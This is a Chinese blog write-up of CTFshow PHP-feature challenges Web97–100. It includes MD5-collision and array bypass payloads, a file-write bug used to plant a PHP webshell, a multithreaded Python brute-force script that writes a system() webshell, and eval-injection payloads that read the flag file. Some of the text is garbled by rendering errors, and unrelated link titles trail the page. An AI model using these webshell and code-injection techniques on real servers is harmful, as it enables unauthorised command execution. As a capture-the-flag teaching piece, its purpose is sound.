当前位置: 首页 > news >正文

CTFshow系列——PHP特性Web97-

OK,今天晚上也是给大家带来一篇PHP特性的CTF题目。主要是昨天参加了第三届”陇剑杯“比赛,所以也是没有给大家及时的更新;
过几天就把这次比赛的Web题以及应急响应的两道题目给大家讲解一下。

文章目录

    • Web97
      • 代码分析
      • 方法一:
      • 方法二:
    • Web98(新题型)
      • 代码分析(重要)
      • 流程图
    • Web99
      • 代码分析
      • 网上WP
      • 方法二:时间竞争
    • Web100(新题型)
      • **代码分析**
      • **攻击思路**
      • 网上WP思路(本人菜鸡一个,唉)
    • 总结


Web97

话不多说,还是老样子分析代码:

<?phpinclude("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里从代码我们可以看到需要我们用POST请求方式填入两个参数ab,并且这两个的md5值需要一样,才可以输出flag;

代码分析

  • if ($_POST['a'] != $_POST['b'])第一个条件。它使用 !=(非严格比较),要求 a 和 b 的值不相等;
  • 第二个条件:它使用 ===(严格比较),要求 a 和 b 经过 md5() 函数处理后的结果严格相等。

方法一:

这个时候,我们就要说到一个知识点了:MD5 碰撞(collision)攻击:

  • MD5 算法存在已知的漏洞,可以找到两个不同的输入字符串,它们经过 MD5 哈希后会产生完全相同的 32 位十六进制字符串。

所以,利用这个特性,我们可以寻找几个md5值相等,但是本身不一样的参数:

md5值相同的两个不同参数:a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

所以我们构造的payload为:

在这里插入图片描述

# payload
a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&&b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

方法二:

  • 漏洞利用
    md5() 函数有一个特性:当它接收到一个数组时,会返回 null。
  1. md5(array()) 的结果是 null
  2. null === null 的结果是 true

因此,你可以构造两个不同的数组,它们的 MD5 散列值都是 null,从而满足 md5($_POST[‘a’]) === md5($_POST[‘b’]) 的条件。

  • Payload 构造
    为了满足 $_POST[‘a’] != $_POST[‘b’] 的条件,你需要提交两个不同的数组。

在 PHP 中,当通过 POST 方式提交 a[] 和 b[] 时,它们会被解析为两个不同的空数组 array()

所以payload可以为:

# payload
a[]=1&b[]=2

同样可以得到flag。


Web98(新题型)

Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17<?phpinclude("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

根据页面的提示,我们知道flag的位置,但是HTTP_FLAG又是什么东西呢?

代码分析(重要)

这题目是一个典型的 PHP 超全局变量覆盖漏洞,需要你利用 $_GET 变量来控制程序的执行流程,最终读取 flag。

  1. $_GET?$_GET=&$_POST:'flag';

    • 这是一个三元运算符。

    • 问号前的 $_GET 相当于 isset($_GET)。如果 URL 中存在任何 GET 参数,这个条件就为真。

    • 如果条件为真,$_GET = &$_POST 会将 $_GET 变量引用到 $_POST 变量。这意味着,从这行代码之后,任何对 $_GET 的修改实际上都是在修改 $_POST,反之亦然。

    • 如果条件为假(URL 中没有任何 GET 参数),这行代码什么也不做。

  2. $_GET['flag']=='flag'?\$_GET=&$_COOKIE:'flag';

    • 这个三元运算符检查 $_GET[‘flag’] 是否等于字符串 flag
    • 如果条件为真,$_GET = &$_COOKIE 会将 $_GET 引用到 $_COOKIE
  • 关键点:由于第一步已经将 $_GET 引用到了 $_POST,所以这里的 $_GET[‘flag’] 实际上是在检查 $_POST[‘flag’] 的值。
  1. $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

    • 同样,这个三元运算符检查 $_GET[‘flag’] 的值。

    • 如果条件为真,KaTeX parse error: Expected 'EOF', got '&' at position 8: _GET = &̲_SERVER 会将 $_GET 引用到 $_SERVER

  • 关键点:由于第二步已经将 $_GET 引用到了 $_COOKIE,所以这里的 $_GET[‘flag’] 实际上是在检查 $_COOKIE[‘flag’] 的值。
  1. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

    • 这是最后一行,也是最终的判断。它检查 $_GET[‘HTTP_FLAG’] 的值。

    • 如果 $_GET[‘HTTP_FLAG’] 等于 flag,就会执行 highlight_file($flag)

  • 最关键点:由于第三步已经将 $_GET 引用到了 $_SERVER,所以这里的 $_GET['HTTP_FLAG'] 实际上是在检查 $_SERVER['HTTP_FLAG'] 的值。

流程图

为了方便大家理解,给大家画了个流程图:
在这里插入图片描述
理论完成,开始实践:
在这里插入图片描述
甚至都不用抓包,flag直接就显示再屏幕上了;

Web99

<?phphighlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}?>

代码分析

老样子,先分析代码:

  1. highlight_file(__FILE__);: 显示当前 PHP 脚本的源代码。
  2. $allow = array();: 初始化一个空数组 $allow。
  3. for ($i=36; $i < 0x36d; $i++):
    • 这是一个循环,从 36 迭代到 0x36d(十进制 877)。

    • array_push($allow, rand(1,$i));: 在每次循环中,一个介于 1 和 i之间的随机数被添加到‘i 之间的随机数被添加到 `i之间的随机数被添加到allow` 数组中。

  4. if(isset($_GET['n']) && in_array($_GET['n'], $allow)):
    • 检查 URL 参数 n 是否存在,并且它的值是否在 $allow 数组中。
  5. file_put_contents($_GET['n'], $_POST['content']);:
    • 如果前面的条件都满足,程序会创建一个文件,文件名是 $allow 数组中的一个随机数,文件内容是 POST 参数 content

网上WP

之后的做法我也是按照网上WP进行操作(不过我问AI,好像还可以时间竞争,但没成功过)

第一步:先创建访问一个新文件2.php,然后POST传入一句话木马方便后续的操作:

在这里插入图片描述

第二步:GET传参改为url/2.php(注意不是url/?n=2.php),然后POST进行命令执行(命令执行不会?看我之前的文章即可)就可以了:

在这里插入图片描述

第三步:查看flag即可——> 查看源代码
在这里插入图片描述
在这里插入图片描述

方法二:时间竞争

说实话,我运行代码的时候没有成功过,各位可以试一试:

import requests
import threading# url换成自己的url
url = "https://bab65f25-7830-4402-a50f-f15e31f94aa8.challenge.ctf.show/"def exploit():for i in range(1, 878):  # 猜测 rand() 可能的值try:get_params = {'n': i}post_content = {'content': '<?php system("ls -al"); ?>'}# 发送请求response = requests.post(url, params=get_params, data=post_content, timeout=1)# 检查响应,看是否成功写入if "system" in response.text:  # 如果看到system这个关键词,说明写入成功print(f"File written successfully with number: {i}")print(response.text)except requests.exceptions.RequestException as e:# print(f"Error: {e}")pass# 创建多个线程来并行执行
threads = []
for _ in range(50):  # 启动50个线程来增加命中率t = threading.Thread(target=exploit)threads.append(t)t.start()for t in threads:t.join()

这个脚本会不断地发送请求,尝试所有可能的随机数。一旦命中,你的 Webshell 就会被写入文件,然后你可以通过访问那个文件名来执行命令。


Web100(新题型)

还是老样子,上代码:

<?phphighlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}?>

代码分析

  1. $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

    • 这行代码检查 v1v2v3 是否为数字。这里的 is_numeric() 函数有一个特性:它不仅会判断整数和浮点数,也会将只包含数字的字符串判断为 true
  2. if($v0)

    • 只有当 v1v2v3 都通过 is_numeric() 的检查时,代码才会进入这个条件块。
  3. if(!preg_match("/;/", $v2))

    • 这个过滤器检查 v2 中是否不包含分号 ;
  4. if(preg_match("/;/", $v3))

    • 这个过滤器检查 v3 中是否包含分号 ;
  5. eval("$v2('ctfshow')$v3");

    • 这是漏洞的核心。eval() 函数会执行其参数中的 PHP 代码。
    • 它的参数由三个部分组成:$v2 的值、硬编码的字符串 ('ctfshow'),以及 $v3 的值。

攻击思路

我们的目标是利用 eval() 函数执行一个可以读取 flag 的命令。为了实现这一点,需要构造 v1v2v3,使其满足所有过滤条件。

  1. 绕过 is_numeric()

    • PHP 的 is_numeric() 函数会将十六进制或科学计数法的字符串判断为数字。
    • 例如,is_numeric("0x123")is_numeric("1e3") 都返回 true
    • 你可以使用这些形式来绕过 is_numeric() 的检查,同时在 v2v3 中传递非数字代码。
  2. 满足正则表达式过滤

    • v2 不能包含分号 ;
    • v3 必须包含分号 ;
  3. 构造 eval() 参数

    • 需要让 eval("$v2('ctfshow')$v3") 形成一个有效的 PHP 函数调用。

网上WP思路(本人菜鸡一个,唉)

然后我尝试了一下自己的payload,报错失败。。

?v1=1&v2=system&v3=(ls);
  • 网上方法一
# payload
?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;

在这里插入图片描述

因为v2,v3不需要是数字,and运算时v0已经计算完毕了
然后访问/1.txt
根据文件提示将0x2d替换成-得到flag

  • 方法二:

简单拼接:
三个参数 v1 ,v2 ,v3,其中v0 实际上只会去判断v1是否为数字 ,因此v1 = 1234 数字即可
拼接起来就是var_dump($ctfshow)/ (‘ctfshow’) / ; 可以执行
v2 也可以用其他显示输出的函数
v2=print_r($ctfshow)/&v3=/;

# payload
?v1=1234&&v2=print_r($ctfshow)/*&v3=*/;

在这里插入图片描述

  • 方法三:

payload为: ?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;

  • /&v3=/ 注释掉V3与(‘ctfshow’) 实际执行结果是v2的内容 先是system(“ls”)
    然后才是system(“tac ctfshow.php”)

在这里插入图片描述

运行后屏幕显示的结果:

} var dalaoA,dalaoA,dalaoA,dalaoB,$flag_is_c5ead3750x2d39510x2d46a50x2d966d0x2d015111cd21db; class ctfshow{ / # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 20200x2d090x2d21 22:11:52 # @Last Modified by: h1xa # @Date: 20200x2d090x2d21 21:31:23 # @Author: h1xa # 0x2d0x2d coding: utf0x2d8 0x2d*- /*


总结

学海无涯,还是太菜了。

http://www.xdnf.cn/news/1487377.html

相关文章:

  • pytorch的两大法宝函数
  • # 图片格式转换工具:重新定义您的图片处理体验
  • 流程控制语句
  • 【C#】 资源共享和实例管理:静态类,Lazy<T>单例模式,IOC容器Singleton我们该如何选
  • C++ 前缀和 高频笔试考点 实用技巧 牛客 DP34 [模板] 前缀和 题解 每日一题
  • leetcode两数之和
  • 九.弗洛伊德(Floyd)算法
  • 计算机网络学习(六、应用层)
  • 深入解析 Java 内存可见性问题:从现象到 volatile 解决方案
  • sentinel限流常见的几种算法以及优缺点
  • 【RabbitMQ】---RabbitMQ 工作流程和 web 界面介绍
  • 宋红康 JVM 笔记 Day13|String Table
  • 【RabbitMQ】如何在 Ubuntu 安装 RabbitMQ
  • RabbitMQ 确认机制
  • RabbitMQ--延时队列总结
  • Linux 周期性用户作业计划:crontab
  • Python 2025:高性能计算与科学智能的新纪元
  • CEEMDAN-PSO-CNN-GRU 锂电池健康状态预测matlab
  • 华为IP(9)
  • Compose笔记(五十)--stickyHeader
  • 超越模仿,探寻智能的本源:从人类认知机制到下一代自然语言处理
  • MySQL 锁机制解析
  • 【高并发内存池】五、页缓存的设计
  • 【多模态学习】QA2:Tokenize和Embedding?BPE算法?交叉熵损失函数?
  • 算法:链表
  • 【开题答辩全过程】以 线上助农系统为例,包含答辩的问题和答案
  • 10 qml教程-自定义属性
  • 860章:使用Scrapy框架构建分布式爬虫
  • browser_use event_bus订阅机制详解
  • AUTOSAR进阶图解==>AUTOSAR_SWS_TimeSyncOverFlexRay